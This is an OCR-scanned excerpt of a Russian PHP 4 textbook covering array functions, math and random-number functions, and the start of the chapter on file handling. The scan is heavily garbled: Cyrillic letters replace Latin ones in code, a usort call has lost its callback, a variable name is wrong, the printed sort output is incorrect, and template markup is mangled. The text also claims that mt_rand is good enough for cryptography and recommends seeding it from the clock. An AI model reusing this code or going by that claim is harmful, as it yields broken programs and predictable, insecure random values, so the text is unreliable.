Эти две функции предназначены в первую очередь для сортировки списков
(напоминаю, что под списками я понимаю массивы, ключи которых начи-
наются с 0 и не имеют пропусков). Функция sort о сортирует список
(разумеется, по значениям) в порядке возрастания, a rsort ( ) -- в порядке
убывания. Например:

$A=array("One", "Two", "Three" , "Four");

sort ($A) ;

for($i=0; $i<count($A) ; $i++) echo "$i:$A[$i] ";

// выводит "0:Four l:Two 2:Three 3:0ne"

----------------------- Page 244-----------------------
Глава 13. Работа с массивами 229

Внимание

Любой ассоциативный массив воспринимается этими функциями как список. То
есть после упорядочивания последовательность ключей превращается в 0,1,2
а значения нужным образом перераспределяются. Как видим, связи между пара-
ми ключ=>значение не сохраняются, более того— ключи просто пропадают,
поэтому сортировать что-либо, отличное от списка, вряд ли целесообразно.

Сортировка списка при помощи
функции usort()

Эта функция как бы является "гибридом" функций uasort o и sort о. От
sort ( ) она отличается тем, что критерий сравнения обеспечивается пользо-
вательской функцией . А от uasort o - - тем , что она не сохраняет связей
между ключами и значениями , а потому пригодна разве что для сортировки
списков. Вот тривиальный пример:

function FCmp($a,$b ) { return strcmp($a,$b) ; }

$A=array("One","Two","Three","Four");

usort. ($A ) ;

for($i=0; $i<count($A) ; $i++) echo "$i:$A[$i]

// выводит "0:Four 1:One 2:Three 3:Two "

Использованная нами функция strcmp о, как и ее пращур в Си, возвращает
-1, если $а<$ь, 0, если они равны, и 1, если $а>$ь. В принципе , приведен-
ный здесь пример полностью эквивалентен простому вызову sort о .

Перемешивание списка shuffleO

Функция s h u f f i e o "перемешивает" список, переданный ей первым пара-
метром, так, чтобы его значения распределялись случайным образом. Обра-
тите внимание , что, во-первых, изменяется сам массив , а во-вторых, ассо-
циативные массивы воспринимаются как списки . Пример :

$А=аггау(10,20,30,40,50) ;

snuff1е($А);

foreach($A as $v ) echo "$v ";

Приведенный фрагмент выводит числа 10, 20, 30, 40 и 50 в случайном порядке.

Замечание

Выполнив этот фрагмент несколько раз, вы можете обнаружить , что от запуска
к запуску очередность следования чисел не изменяется. Это свойство обу-
словлено тем, что функция shuffle ( ) использует стандартный генератор слу-
чайных чисел, который перед работой необходимо инициализировать при по-

----------------------- Page 245-----------------------
230 Часть IV. Стандартные функции РНР

мощи вызова srand() . Подробности можно найти в следующей главе (см.
функцию mt_srand(». Она— не совсем то, что нам требуется (нам нужна
srand ()) , но формы записи обеих функций не различаются.

Ключи и значения

Эта функция "пробегает" по массиву и меняет местами его ключи и значе-
ния . Исходный массив SArr не изменяется , а результирующий массив
просто возвращается. Конечно , если в массиве присутствовали несколько
элементов с одинаковыми значениями , учитываться будет только послед-
ний из них :

list array_keys(array $Arr [,mixed $SearchVal] )

Функция возвращает список, содержащий все ключи массива $АГГ . Если
задан необязательный параметр $searchvai , то она вернет только те ключи ,
которым соответствуют значения $searchvai .

( Замечание ^

Фактически, эта функция с заданным вторым параметром является обратной
по отношению к оператору [ ] — извлечению значения по его ключу.

list array_values(array $Arr)

Функция array values о возвращает список всех значений в ассоциатив-
ном массиве $АГГ . Очевидно , такое действие бесполезно для списков , но
иногда оправдано для хэшей .

bool in_array(mixed Sval , array $Arr )

Возвращает true , если элемент со значением $vai присутствует в массиве
$АГГ. Впрочем, если вам часто приходится проделывать эту операцию, по-
думайте: не лучше ли будет воспользоваться ассоциативным массивом и
хранить данные в его ключах , а не в значениях? На этом вы можете сильно
выиграть в быстродействии.

array array_count_values(list $List)

Эта функция подсчитывает, сколько раз каждое значение встречается в спи-
ске $List , и возвращает ассоциативный массив с ключами — элементами
списка и значениями — количеством повторов этих элементов. Иными ело-

----------------------- Page 246-----------------------
Глава 13. Работа с массивами 231

вами, функция array_count_vaiues о подсчитывает частоту появления зна-
чений в списке $List . Вот пример:

$List=array(l, "hello", I, "world" , "hello");

array_count_values($array) ;

// возвращает array(l=>2 , "hello"=>2 , "world"=>l)

Комплексная замена в строке

В предыдущей главе мы рассматривали функцию s t r t r o , которая заменяла
в строке одни буквы на другие, и функцию str_repiace() , осуществляю-
щую контекстный поиск и замену. В свете ассоциативных массивов эти две
функции объединяются в одну, также называющуюся strtro , но несущую
в себе возможности str_replace ( ) .

string strtr(string $st , array $Substitutes )

Эта функция (заметьте — с двумя параметрами, а не с тремя, как обычная
strtr о!) берет строку $st и проводит в ней контекстный поиск и замену:
ищутся подстроки — ключи в массиве $substitutes — и замещаются на
соответствующие им значения. Таким образом, теперь мы можем выполнить
несколько замен сразу, не используя str_repiace( ) в цикле:

$Subs=array (

"<name>" => "Larry" ,

"<time>" => date("d.m.Y" )

);

$st="npMBeT, <name> ! Сейчас <time>" ;

echo strtr($st,$Subs) ;

А ВОТ как МОЖНО "отменить" ДеЙСТВИе фуНКЦИИ HtmlSpecialChar s () :

$Trans=array__flip(get_html__translation_table () ) ;

$st=strtr($st, $Trans) ;

В результате мы из строки, в которой все спецсимволы заменены на их
HTML-эквиваленты, получим исходную строку во всей ее первозданной
красе. Функции get_html_transiation_tabl e о не уделено много внимания
в этой книге . Она возвращает таблицу преобразований, которая применяет-
ся При вызове H t m l S p e c i a l C h a r s ( ) .

Примечание

Функция strtr () начинает поиск с самой длинной подстроки и не проходит по
одному и тому же ключу дважды .

----------------------- Page 247-----------------------
232 Часть IV. Стандартные функции РНР

Слияние массивов

array array_merge(array $A1 , array $A2 , ... )

Функция array_merge о призвана устранить все недостатки, присущие опе-
ратору + для слияния массивов. А именно, она сливает массивы, перечис-
ленные в ее аргументах, в один большой массив и возвращает результат. Ес-
ли в массивах встречаются одинаковые ключи, в результат помещается пара
ключ=>значение из того массива, который расположен правее в списке аргу-
ментов. Однако это не затрагивает числовые ключи: элементы с такими
ключами помещаются в конец результирующего массива в любом случае.
Таким образом, с помощью array_merge ( ) мы можем избавиться от всех недос-
татков оператора + для массивов. Вот пример, сливающий два списка в один:

$Ll=array(10,20,30) ;

$L2=array(100,200,300) ;

$L=array_merge($L1,$L2);

// теперь $L===array(10,20,30,100,200, 300) ;

Всегда используйте эту функцию, если вам нужно работать именно со спи-
сками, а не с обычными ассоциативными массивами.

Получение части массива

array array^slice(array $Arr , int $offset [ , int Slen] )

Эта функция возвращает часть ассоциативного массива, начиная с пары
ключ=>значения со смещением (номером) $offset от начала и длиной $1еп
(если последний параметр не задан, до конца массива).
Параметры $offset и $1еп задаются по точно таким же правилам, как и
аналогичные параметры в функции s u b s t r t ) . А именно, они могут быть
отрицательными (в этом случае отсчет осуществляется от конца массива),
и т. д. Вот несколько примеров из документации РНР:

$input = array ("a", "b", "с", "d", "e");

$output = array_slice ($input , 2); // "с", "d", "e"

$output = array_slice ($input , 2 , -1); // "c", "d"

$output = array_slice ($input , -2, 1) ; // "d"

$output = array_slice ($input , 0 , 3) ; // "a", "b", "c"

Вставка/удаление элементов

Мы уже знаем несколько операторов, которые отвечают за вставку и удале-
ние элементов. Например, оператор [ ] (пустые квадратные скобки) добав-

----------------------- Page 248-----------------------
Глава 13. Работа с массивами 233

ляет элемент в конец массива, присваивая ему числовой ключ, а оператор
unset ( ) вместе с извлечением по ключу удаляет нужный элемент. Язык
РНР версии 4 поддерживает и многие другие функции, которые иногда бы-
вает удобно использовать.

int array_push (list &$Arr , mixed $varl [ , mixed $var2 , ...] )

Эта функция добавляет к списку $АГГ элементы $vari , $var2 и т. д. Она
присваивает им числовые индексы — точно так же, как это происходит для
стандарных [ ] . Если вам нужно добавить всего один элемент, наверное,
проще и будет воспользоваться этим оператором:

array_push ($Arr , 1000) ; // вызываем функцию...

$Агг[]=100; // то же самое , но короче

Обратите внимание, что функция arrayjpush ( ) воспринимает массив, как
стек, и добавляет элементы всегда в его конец. Она возвращает новое число
элементов в массиве.

mixed arrayjpop(list &$Arr)

Функция array_pop() , а противоположность arrayjpush о , снимает эле-
мент с "вершины" стека (то есть берет последний элемент списка) и воз-
вращает его, удалив после этого его из $АГГ . С помощью этой функции мы
можем строить конструкции, напоминающие стек. Если список $АГГ был
пуст, функция возвращает пустую строку.

int array_unshift (list &$Arr , mixed $varl [ , mixed $var2 , ...] )

Функция очень похожа на arrayjpush о , но добавляет перечисленные эле-
менты не в конец, а в начало массива. При этом порядок следования $vari ,
$var2 и т. д. остается тем же, т. е. элементы как бы "вдвигаются" в список
слева. Новым элементам списка, как обычно, назначаются числовые индек-
сы, начиная с 0; при этом все ключи старых элементов массива, которые
также были числовыми , изменяются (чаще всего они увеличиваются на чис-
ло вставляемых значений) . Функция возвращает новый размер массива. Вот
пример ее применения :

SA=array(10,"a"=>20,30);

array_unshift($A,"!","?");

// теперь $А===аггау(0=>"!" , !=>"?", 2=>10 , а=>20 , 3=>30 )

mixed array_shift(list &$Arr)

Эта функция извлекает первый элемент массива $АГ Г и возвращает его. Она
сильно напоминает аггау_рор ( ) , но только получает начальный, а не ко-
нечный элемент, а также производит довольно сильную "встряску" всего

----------------------- Page 249-----------------------
234 Часть IV. Стандартные функции РНР

массива: ведь при извлечении первого элемента приходится корректировать
все числовые индексы у всех оставшихся элементов

array array_unique(array $Arr )

Функция array_unique ( ) возвращает массив, составленный из всех уни-
кальных значений массива $АГГ вместе с их ключами. В результирующий
массив помещаются первые встретившиеся пары ключ=>значение:

$input=array("а" => "green" , "red", "b" => "green" , "blue", "red");

$result=array_unique($input);

// теперь $result===array("a"=>"green" , "red", "blue");

array array_splice(array &$Arr , int $offset [ , int Slen] [ , int. SRepl])

Эта функция, также как и array_siice() , возвращает подмассив $АГГ , начи-
ная с индекса $of f set максимальной длины $ien, но, вместе с тем, она делает
и другое полезное действие. А именно, она заменяет только что указанные
элементы на то, что находится в массиве $Repi (или просто удаляет, если
$Repi не указан). Параметры $offset и $ien задаются так же, как и в функ-
ции substro — а именно, они могут быть и отрицательными, в этом случае
отсчет начинается от конца массива. За детальными разъяснениями обращай-
тесь к описанию функции substr ( ) , рассмотренной ранее.

Приведу несколько примеров:

$input=array("red", "green" , "blue", "yellow");

array_splice($input,2);

// Теперь $input===array("red" , "green")
array_splice($input, 1,-1) ;

// Теперь $input===array("red" , "yellow")

array_splice($input, -1 , 1 , array("black" , "maroon"));

// Теперь $input===array("red" , "green" , "blue", "black", "maroon")

array__splice ($input , 1 , count ($ input) , "orange");

// Теперь $input===array("red" , "orange")

Последний пример показывает, что в качестве параметра $Repi мы можем
указать и обычное, строковое значение , а не массив из одного элемента.

Переменные и массивы

array compact (mixed $vnl [ , mixed $vn2 , ...] )

Функция compact ( ) , впервые появившаяся в РНР версии 4, упаковывает в
массив переменные из текущего контекста (глобального или контекста
функции), заданные своими именами в $vni , $vn2 и т. д. При этом в масси-

----------------------- Page 250-----------------------
Глава 13. Работа с массивами 235

ве образуются пары с ключами , равными содержимому $vnN , и значениями
соответствующих переменных . Вот пример использования этой функции :

$a="Test string" ;

$b="Some text" ;

$A=compact("a","b");

// теперь $A===array("a"=>"Test string" , "b"=>"Some text")

Почему же тогда параметры функции обозначены как mixed? Дело в том,
что они могут быть не только строками , но и списками строк. В этом случае
функция последовательно перебирает все элементы этого списка , и упако-
вывает те переменные из текущего контекста, имена которых она встретила.
Более того — эти списки могут, в свою очередь, также содержать списки
строк, и т. д. Правда, последнее используется сравнительно редко, но все же
вот пример:

$a="Test";

$b="Text";

$с="ССС";

$d="DDD";

$Lst=array("b",array("с","d"));

$A=compact("a",$Lst);

// теперь $A===array("a"=>"Test" , "b"=>"Text", "c"=>"CCC", "d"=>"DDD")

void extract(array $Arr [ , int $type ] [ , string $prefix] )

Эта функция производит действия , прямо противоположные compact о .
А именно, она получает в параметрах массив $АГ Г и превращает каждую его
пару ключ=>значение в переменную текущего контекста.

Параметр Stype предписывает , что делать, если в текущем контексте уже
существует переменная с таким же именем, как очередной ключ в $АГГ . Он
может быть равен одной из констант, перечисленных в табл. 13. 1

Таблица 13.1. Поведение функции extract в случае совпадения переменных

Константа Действие

EXTR OVERWRITE Переписывать существующую переменную (по умолчанию)

EXTR_SKIP He перезаписывать переменную, если она уже существует

EXTR_PREFIX_SAME В случае совпадения имен создавать переменную с именем,
предваренным префиксом из $pref ix. Надо сказать, что на
практике этот режим должен быть совершенно бесполезен

EXTR__PREFIX_ALL Всегда предварять имена создаваемых переменных пре-
фиксом $prefix

----------------------- Page 251-----------------------
236 Часть IV. Стандартные функции РНР

По умолчанию подразумевается EXTRJDVERWRITE , т. е. переменные перезапи-
сываются. Вот пара примеров применения этой функции :

// Сделать все переменные окружения глобальными

extract($HTTP_ENV_VARS);

// То же самое , .но с префиксом Е_

extract($HTTP_ENV_VARS, EXTR_PREFIX_ALL , "E_");

echo $E COMSPEC ; // выводит переменную окружения COMSPEC

Примечание

Параметр $pref ix имеет смысл указывать только тогда, когда вы применяете
режИМЫ EXTR_PREFIX_SAM E ИЛИ EXTR_PREFIX_ALL .

Вообще говоря, использование extract о и compact о может быть оправда-
но лишь для небольших массивов, да и то только в шаблонах, а в остальных
случаях считается признаком дурного тона. Впрочем , если ваш дизайнер
никак не может понять, зачем же ему в шаблонах страниц гостевой книги
указывать все эти ужасные квадратные скобки и апострофы, можете пойти
ему навстречу так:

<table width=100%>

<?foreach($Book as $Entry ) { extract ($Entry) ?>

<tr>

<td>№^: <?=$name?x/td> < ! — вместо $Entry [ 'name ' ] — >

<td>Aflpec : <?=$url?x/td> < ! — вместо $Entry [ 'url ' ]

</tr>

<tr><td colspan=3x?=$text?x/tdx/tr>

<trxtd colspan=3xhr></tdx/tr>

Здесь вы должны загодя позаботиться, чтобы ключи $Entry ненароком не
затерли нужные переменные. Этого можно добиться, например , назвав все
важные переменные с прописной буквы (например , $Book и $Entry) , а все
ключи — с маленькой , как и было сделано немного выше.

Создание списка - диапазона чисел

list range (int Slow , int $high )

Эта функция очень простая. Она создает список, заполненный целыми чис -
лами от $iow до $high включительно . Ее удобно применять, если мы хотим

----------------------- Page 252-----------------------
Глава 13. Работа с массивами 237

быстро сгенерировать массив для последующего прохождения по нему цик-
лом foreach !

<table>

<?foreach(range(1,100) as Si ) {?>

<tr>

<tdx?=$i?x/td>

<td>3To строка номер <?=$i?x/td>

</tr>

<?} ?>

</table>

С точки зрения дизайнеров (не знакомых с РНР, но которым придется мо-
дифицировать внешний вид вашего сценария) представленный подход вы-
глядит явно лучше , чем следующий фрагмент:

<table>

<?for($i=l; $i<=100; $i++) {?>

<tr>

<tdx?=$i?x/td>

<td>3TO строка номер <?=$i?x/td>

</tr>

<?} ?>

</table>

----------------------- Page 253-----------------------
Глава 14

Математические
функции

В РНР представлен полный набор математических функций , которые при -
сутствуют в большинстве других языков программирования. Правда, здесь
они используются несколько реже, потому что в сценаиях вообще редко
приходится иметь дело со сложными вычислениями .

Встроенные константы

РНР версии 4 предлагает нам несколько предопределенных констант, кото-
рые обозначают различные математические постоянные с максимальной
машинной точностью. Соответствующие этим константам ключевые слова и
значения приводятся в табл. 14.1.

Таблица 14.1. Математические константы.

Константа Величина Пояснение

М PI 3, 1 4 1 59265358979323846 Число п

М Е 2,7182818284590452354 е

М LOG2E 1 ,4426950408889634074 Log (e)
2

М LOG10E 0,434294481 903251 82765 Lg(e)

М LN2 0,6931 471 8055994530942 Ln(2)

M_LN10 2,30258509299404568402 Ln(10)

М PI 2 1 ,5707963267948966 1 923 я /2

М_Р1_4 0,7853981 6339744830962 л/4

М 1 PI 0,31830988618379067154 1/я

М 2 PI 0,63661977236758134308 2/71

М SQRTPI 1 ,77245385090551 602729 sqrtU)

М 2 SQRTPI 1,12837916709551257390 2/sqrt(Tt)

М SQRT2 1 ,41 421 356237309504880 sqrt(2)

----------------------- Page 254-----------------------
Глава 14. Математические функции 239

Таблица 14, 1 (окончание)

Константа Величина Пояснение

М SQRT3 1 ,73205080756887729352 sqrt(3)

M_SQRT1_2 0,70710678118654752440 1/sqrt(2)

М LNPI 1 , 1 44729885849400 1 74 1 4 Ln(7i)

М EULER 0,57721566490153286061 Постоянная Эйлера

Надо заметить, разработчики РНР что-то слишком разошлись , когда вводи-
ли стандартные константы. Например, я не могу даже и представить, зачем
в Web-программировании может потребоваться, например, константа Эйле-
ра. Что же , это их право.

Функции округления

mixed abs(mixed $number)

Возвращает модуль числа. Тип параметра $number может быть float или int ,
а тип возвращаемого значения всегда совпадает с типом этого параметра.

double round(double $val )

Округляет $val до ближайшего целого и возвращает результат, например:

$foo = round(3.4) ; // $foo == 3.0
$foo = round (3.5); /,/ $foo ==4. 0
Sfoo = round(3.6) ; // $foo == 4.0

int ceil(float $number)

Возвращает наименьшее целое число, не меньшее $number . Разумеется, пе-
редавать В $number ЦСЛОС ЧИСЛО бСССМЫСЛСННО .
int floor(float $number )

Возвращает максимальное целое число, не превосходящее $number .

Случайные числа

Следующие три функции предназначены для генерации случайных чисел .
Пожалуй, в Web-программировании самое распространенное применение
они находят в сценариях показа баннеров.

Замечание

Я намеренно не рассматриваю функции rand ( ) и srand ( ) , потому что качест-
во случайных чисел, которые они выдают, никуда не годится. Настоятельно ре-

----------------------- Page 255-----------------------
240 Часть IV. Стандартные функции РНР

комендую вместо них использовать описанные ниже функции, а про rand ( )
вообще забыть.

int mt_rand(int $min=0 , int $max=RAND_MAX )

Функция возвращает случайное число, достаточно равномерно даже для то-
го, чтобы использовать ее в криптографии. Подробнее о том алгоритме, ко-
торый она использует, можно прочитать в Интернете по адресу
http://www.math.keio.ac.jp/~matumoto/emt.html, а исходные тексты найти по
адресу http://www.scp.syr.edu/~marc/hawk/twister.html. Если вы хотите гене-
рировать числа не от 0 до RAND_MAX (эта константа задает максимально до-
пустимое случайное число, и ее можно получить при помощи вызова
mt_getrandmax()) , задайте соответствующий интервал в параметрах $min и
$тах.

Не забудьте только перед первым вызовом этой функции запустить rr.t_srand ( ) .

Давайте теперь рассмотрим один из случаев применения функции
mt_rand ( ) . Речь пойдет об извлечении строки со случайным номером из
текстового файла (работу с файлами мы рассмотрим чуть позже, а пока ска-
жу лишь, что функция f gets ( ) читает очередную строку из файла, дескрип-
тор которого указан ей в первом параметре, а второй параметр задает мак-
симально возможную длину этой строки, для нас это — очень большое
число). Поступим так:

for($i=0; mt_rand(0,$i)<l ; $i++)

$s=fgets($OurFile,10000);

echo "Случайная строка : $s";

Этот способ работает в строгом соответствии с теорией вероятностей: для
первой строки вероятность ее извлечения будет 100%, для второй — 50%
(она перепишется поверх первой), для третьей — 33%, и т. д. Например , ес-
ли файл состоит всего из трех строк, то вероятность извлечения третьей
строки, как мы уже заметили, будет равна 33%, а значит, первой или вто-
рой — соответственно, 66%. Но вероятность извлечения второй строки по-
сле первой равна 50%, а 50% от 66% будет также 33%, т. е. вероятность из-
влечения каждой строки одинакова. Мы видим, что для файла из трех строк
алгоритм работает правильно. Не вдаваясь в математические подробности,
скажу, что он работает верно и для любого количества строк.

Безусловно, мы могли бы загрузить весь файл в память и выбрать из него
нужную строку и при помощи одного-единственного вызова mt_rand ( ) , но
если файл содержит очень много данных, это может быть довольно не эко-
номично с точки зрения расхода памяти. Наоборот, для случая коротких
файлов способ единовременной загрузки предпочтительнее. Насколько ко-
ротких? Думаю, это легче всего определить опытным путем. Рассмотренный
нами способ решает проблему с большими файлами.

----------------------- Page 256-----------------------
Глава 14. Математические функции 241

Внимание

Отмечу, что использование обычной функции rand ( ) в этом примере просто
невозможно — сказывается слишком плохое качество генерируемых ей слу-
чайных чисел, и строки вряд ли будут равновероятны.

void mt_srand(int $seed )

Настраивает генератор случайных чисел на новую последовательность. Дело
в том, что хотя числа, генерируемые mt_rand ( ) , достаточно равновероятны,
но у них есть один недостаток (который, как это обычно бывает, иногда пе-
рерастает в достоинство): последовательность сгенерированных чисел будет
одинакова если сценарий вызвать несколько раз подряд. Функция
m t _ s r a n d ( ) как раз решает данную проблему: она выбирает новую последо-
вательность на основе параметра $seed , причем практически непредсказуе-
мым образом. Чаще всего ее инициализируют так:

mt_srand(time() +(double)microtimeО * 1000000 ) ;

$randval = mt_rand() ;

В этом случае последовательность устанавливается на основе времени за-
пуска сценария (в секундах), поэтому она достаточно непредсказуема. Для
еще более надежного результата рекомендуется приплюсовать сюда также
микросекунды (что и было сделано), а также идентификатор процесса, вы-
звавшего сценарий.

int mt_getrandmax( )

Возвращает максимальное число, которое может быть сгенерировано функ-
цией mt_rand ( ) — иными словами, константу RAND_MAX .

Перевод в различные
системы счисления

string base_convert(string $number , int $frombase , int $tobase )

Переводит число $number (заданное как строка в системе счисления по ос-
нованию $frombase) в систему по основанию $tobase . Параметры
$frombase и $tobase могут принимать значения только от 2 до 36 включи-
тельно. В строке $number цифры обозначают сами себя, буква а соответству-
ет 11, ь — 12, и т. д. до z, которая обозначает 36. Например, следующие ко-
манды выведут iiiiiiii (8 единичек), потому что это — не что иное, как
представление шестнадцатеричного числа FF в двоичной системе счисления :

echo base convert("FF",16,2) ;

----------------------- Page 257-----------------------
242 Часть IV. Стандартные функции РНР

int bindec(string $binary_string)

Преобразует двоичное число, заданное в строке $binary_string , в десятич-
ное число.

string decbin(int $number )

Возвращает строку, представляющую собой двоичное представление целого
числа $number. Максимальное число, которое еще может быть преобразовано,
равно 2 147 483 647, которое выглядит как 31 единичка в двоичной системе.
Существуют аналогичные функции для восьмеричной и шестнадцатеричной
систем. Называются они так же, только вместо "bin" подставляется соответ-
ственно "oct" и "hex".

Минимум и максимум

mixed miii (mixed $argl [int $arg2 , ..., int Sargn] )

Эта функция возвращает наименьшее из чисел, заданных в ее аргументах.
Различают два способа вызова этой функции: с одним параметром или с
несколькими. Если указан лишь один параметр (первый), то он обязательно
должен быть массивом и возвращается минимальный элемент этого масси-
ва. В противном случае первый (и остальные) аргументы трактуются как
числа с плавающей точкой, они сравниваются, и возвращается наименьшее .
Тип возвращаемого значения выбирается так: если хотя бы одно из чисел,
переданных на вход, задано в формате с плавающей точкой, то и результат
будет с плавающей точкой, в противном случае результат будет целым чис-
лом. Обратите внимание на то, что с помощью этой функции нельзя лекси-
кографически сравнивать строки — только числа.

mixed max(mixed $argl [int $arg2 , ..., int $argn] )

Функция работает аналогично min ( ) , только ищет максимальное значение.

Степенные функции

float sqrt(float $arg )

Возвращает квадратный корень из аргумента. Если аргумент отрицателен, то
генерируется предупреждение, но работа программы не прекращается! Это
выглядит довольно странно: интересно, что в этом случае возвращается
функцией?..

float log(float'$arg )

Возвращает натуральный логарифм аргумента. В случае недопустимого чис-
ла печатает предупреждение, но, как и sqrt ( ) , не завершает программу .

float exp(float $arg)

Возвращает е (2,718281828) в степени $arg .

----------------------- Page 258-----------------------
Глава 14. Математические функции 243

float pow(float $base , float $exp )

Возвращает Sbase в степени $ехр .

Тригонометрия

Далее рассмотрим тригонометрические функции. Правда, они редко приме-
няются при программировании сценариев, но все же...

float acos(float $arg )

Возвращает арккосинус аргумента.

float asin(float $arg )

Возвращает арксинус.

float atari (float $arg)

Возвращает арктангенс аргумента.

float atan2(float $y , float $x)

Возвращает арктангенс величины $у/$х , но с учетом той четверти, в кото-
рой лежит точка ($х, $у). Эта функция возвращает результат в радианах,
принадлежащий отрезку от -<» до оо. Вот пара примеров:

$alpha=atan2(1,1); // $alpha==pi/4

$alpha=atan2(-!,-!); // $alpha==-3*pi/4

float sin(float arg )

Возвращает синус аргумента. Аргумент задается в радианах.

float cos(float $arg )

Возвращает косинус аргумента.

float tan(float arg)

Возвращает тангенс аргумента, заданного в радианах .

double p i ( )

Возвращает число п. Эту функцию в РНР версии 4 обязательно нужно вызы-
вать с парой пустых скобок (в отличие от РНР 3):

echo pi О *10;

Впрочем, наверное, лучше будет воспользоваться константой M_PI?..

9 Зак. 699

----------------------- Page 259-----------------------
Глава 15

Работа с файлами

Хорошие новости. Во-первых, вы можете наконец с облегчением вздохнуть
и забыть о том, что в Windows (в отличие от Unix) для разделения полного
пути файла используются не прямые , а обратные слэши. Интерпретатору
РНР совершенно все равно, какие слэши вы будете использовать: прямые
или обратные. Он в любом случае переведет их в ту форму, которая требует-
ся вашей ОС, а функции по работе с полными именами файлов также не
будут против "чужих" слэшей.
Во-вторых, вы теперь можете работать с файлами на удаленных серверах
Web в точности так же, как и со своими собственными (ну, разве что запи-
сывать в них можно не всегда). Если вы предваряете имя файла строкой
http : // или ftp : / / , то РНР понимает, что нужно на самом деле установить
сетевое соединение и работать именно с ним, а не с файлом. При этом в
программе такой файл ничем не отличается от обычного (если у вас есть
соответствующие права, что вы можете и записывать в подобный НТТР-
или РТР-файл).

О текстовых и бинарных файлах

Во многих (да что там — практически во всех) языках программирования
для работы с текстовыми файлами применяется некоторый трюк. Вот в чем
он заключается. Не секрет, что в Unix-системах для отделения одной строки
файла от другой используется один специальный символ — его принято
обозначать \п .

Примечание

Обращаю ваше внимание на то, что \п здесь обозначает именно один символ,
т. е., один байт. Когда РНР встречает комбинацию \п в строке (например, "это
\п тест") , он воспринимает ее как один байт. В то же время, в строке, заклю-
ченной в апострофы, комбинация \п не имеет никакого специального назначе-
ния и обозначает буквально "символ \, за которым идет символ п".

В Windows по историческим причинам для разделения строк применяется
не один, а сразу два символа, следующих подряд, — \ г \ п . Для того чтобы
языки программирования были лучше переносимы с одной операционной

----------------------- Page 260-----------------------
Глава 15. Работа с файлами 245

системы на другую, при чтении текстовых файлов эта комбинация \ г \ п
преобразуется "на лету" в один символ \п , так что программа и не замечает,
что формат файла не такой, как в Unix. В результате этой деятельности, ес-
ли мы, например, прочитаем содержимое всего текстового файла в строку,
то длина такой строки наверняка окажется меньше физического размера
файла — ведь из нее "съелись" некоторые символы \г . Это относится к сис-
теме Windows и MacOS (кстати, в последней применяется комбинация не
\г\п , а наоборот — \п\г , что довольно-таки забавно). При записи строки в
текстовый файл происходит в точности наоборот: один \п становится на
диске парой \ г \ п .

Впрочем, практически во всех языках программирования вы можете и от-
ключить режим автоматической трансляции \ г \ п в один \п . Обычно для
этого используется вызов специальной функции , который говорит, что для
указанного файла нужно применять бинарный режим ввода/вывода, когда все
байты читаются, как есть. Правда, программисты, всю жизнь писавшие под
Unix, склонны игнорировать этот факт, в результате чего программы пере-
стают работать под Windows и вообще начинают вытворять забавные вещи.

Так как РНР был написан целиком на Си, а Си использует трансляцию
символов перевода строк, то описанная техника работает и в РНР. Однако
тут есть один очень опасный момент. Дело в том, что разработчики РНР в
официальной документации к функции fopen ( ) старательно умалчивают о
том, что интерпретатор может работать с файлами в режиме трансляции
символа перевода строки. Так вот, я возьму на себя смелость заявить, что
такая возможность в действительности существует, а тесты подтвердили, что
ее можно корректно использовать как в Windows и MacOS, так и в Unix .
Подробнее об этом мы поговорим при рассмотрении функции fopen о .

Если файл открыт в режиме бинарного чтения/записи , то РНР совершенно
все равно, что вы читаете или пишете. Вы можете совершенно спокойно
считать содержимое какого-нибудь бинарного файла (например, GIF-
рисунка) в обычную строковую переменную, а потом записать эту строку в
другой файл, и при этом информация нисколько не исказится. Правда, при
чтении текстового файла в Windows вы получите символы \ г \ п в конце
строки вместо одного \п , если не предпримете некоторых действий, а от-
кроете файл, как об этом написано в документации. Об этом речь ниже.

Открытие файла

Как и в Си, работа с файлами в РНР разделяется на три этапа. Сначала файл
открывается в нужном режиме, при этом возвращается некое целое число,
служащее идентификатором открытого файла (дескриптор файла). Затем на-
стает очередь команд работы с файлом (чтение или запись, или и то и другое),
причем они "привязаны" уже к дескриптору файла, а не к его имени . После

----------------------- Page 261-----------------------
246 Часть /V. Стандартные функции РНР

этого файл лучше всего закрыть (хотя это можно и не делать, поскольку РНР
автоматически закрывает все файлы по завершении сценария).

int fopen(string $filename , string $mode , bool $use_include_path=false )

Открывает файл с именем $ filename в режиме $mode и возвращает дескрип-
тор открытого файла. Если операция "провалилась", то, как это принято ,
fopen о возвращает false . Впрочем, мы можем не особо беспокоиться, про-
веряя выходное значение на ложность — вполне подойдет и проверка на
ноль, потому что дескриптор 0 в системе соответствует стандартному потоку
ввода, а он, очевидно, никогда не будет открыт функцией fopen ( ) (во вся-
ком случае, пока не будет закрыт нулевой дескриптор, а это делается крайне
редко). Необязательный параметр $use_inciude_path говорит РНР о том,
что, если задано относительное имя файла , его следует искать также и в
списке путей , используемом инструкциями include и require . Обычно этот
параметр не используют.

Параметр $mode может принимать следующие значения :

CD r — файл открывается только для чтения . Если файла не существует, вы-
зов регистрирует ошибку. После удачного открытия указатель файла ус-
танавливается на его первый байт, т. е. на начало;

П г+ — файл открывается одновременно на чтение и запись . Указатель те-
кущей позиции устанавливается на его первый байт. Как и для режима г,
если файла не существует, возвращается false . Следует отметить, что ес-
ли в момент записи указатель файла установлен где-то в середине файла,
то данные запишутся прямо поверх уже имеющихся, а не "раздвинут" их,
при необходимости увеличив размер файла. Будьте внимательны;

П w — создает новый пустой файл . Если на момент вызова уже был файл с
таким именем , то он предварительно уничтожается . В случае неверно за-
данного имени файла вызов, как нетрудно догадаться, "проваливается";

О w+ — аналогичен г+, но если файла изначально не существовало, создает
его. После этого с файлом можно работать как в режиме чтения, так и
записи. Если файл существовал до момента вызова, его содержимое уда-
ляется ;

О а — открывает существующий файл в режиме записи , и при этом сдвига-
ет указатель текущей позиции за последний байт файла. Этот режим по-
лезен , если требуется что-то дописать в конец уже имеющегося файла.
Как водится, вызов неуспешен в случае отсутствия файла;

П а + — открывает файл в режиме чтения и записи , указатель файла уста-
навливается на конец файла, при этом содержимое файла не уничтожает-
ся. Отличается от а тем, что если файла изначально не существовало, то
он создается. Этот режим полезен, если вам нужно что-то дописать в
файл (например , в журнал), но вы не знаете, создан ли уже такой файл ;

----------------------- Page 262-----------------------
Глава 15. Работа с файлами 247

Но это еще не полное описание параметра $mode. Дело в том, что в конце
любой из строк г, w, a, r+, w+ и а+ может находиться еще один необязатель-
ный символ — ь или t. Если указан ь (или не указан вообще никакой), то
файл открывается в режиме бинарного чтения/записи. Если же это t, то для
файла устанавливается режим трансляции символа перевода строки, т. е. он
воспринимается как текстовый.

Внимание

О режиме t нет ни слова в документации РНР (во всяком случае, на момент
